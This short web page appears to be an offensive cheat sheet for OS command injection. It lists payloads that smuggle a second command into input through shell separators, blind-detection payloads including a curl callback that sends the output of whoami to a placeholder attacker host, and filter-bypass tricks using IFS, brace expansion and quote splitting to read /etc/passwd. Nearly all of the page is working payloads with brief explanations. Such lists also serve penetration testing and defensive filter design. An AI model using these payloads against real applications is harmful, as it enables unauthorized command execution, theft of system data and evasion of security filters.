Skip to main content

​
Basic Payloads

Inject after shell metacharacters: the app concatenates your input into a system call, so append a second command with a separator. 
; id
| id
|| id
&& id
`id`
$(id)

​
Blind Detection

When there’s no visible output, use time delays or out-of-band callbacks to confirm execution. 
; sleep 5
; curl http://<your-ip>/$(whoami)

​
Bypass Filters

Filters often look for specific characters or keywords: use IFS, brace expansion, or string splitting to reconstruct the command without triggering them. 
${IFS}id
{cat,/etc/passwd}
c'a't /etc/passwd